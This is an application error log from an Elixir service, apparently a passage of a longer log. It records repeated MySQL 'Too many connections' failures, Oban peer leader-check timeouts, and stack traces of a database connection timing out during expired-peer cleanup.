[Sat Sep  5 22:17:56.290000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:57.730000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:04.095000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:07.765000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:18:10.901000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:12.766000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:18:14.374000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:17.559000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:18:17.561000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:18.744000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:20.308000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:21.716000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:22.133000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:22.147000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:24.071000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:24.556000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:25.031000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:31.921000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:35.084000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:42.612000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:45.039000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:46.620000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:50.591000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:18:51.022000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:51.155000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:55.592000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:18:56.006000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:18:59.829000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:19:00.045000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:19:00.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:02.276000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:05.293000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:06.742000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:11.759000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:13.550000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:15.923000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:19.021000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:20.400000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:25.949000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:28.725000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:30.383000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:32.182000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:33.077000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:19:33.728000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:34.831000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:19:38.078000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:19:41.438000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:42.277000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:42.830000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:19:42.831000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:43.839000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:43.978000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:46.725000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:54.680000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:19:56.076000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:01.299000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:11.271000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:11.611000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:17.861000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:20:17.895000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:22.862000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:20:23.241000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:25.561000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:27.646000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:20:27.648000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:29.903000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:33.968000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:34.870000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:37.419000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:37.805000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:38.862000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:47.553000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:20:50.179000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:00.186000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:00.676000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:21:01.697000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:05.188000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:21:05.677000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:21:06.387000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:06.476000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:09.835000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:21:10.012000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:21:10.015000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:10.304000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:12.034000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:15.773000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:20.598000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:21.247000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:24.547000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:28.170000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:34.958000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:43.047000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:21:43.627000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:44.837000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:21:48.048000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:21:49.278000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:21:52.727000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
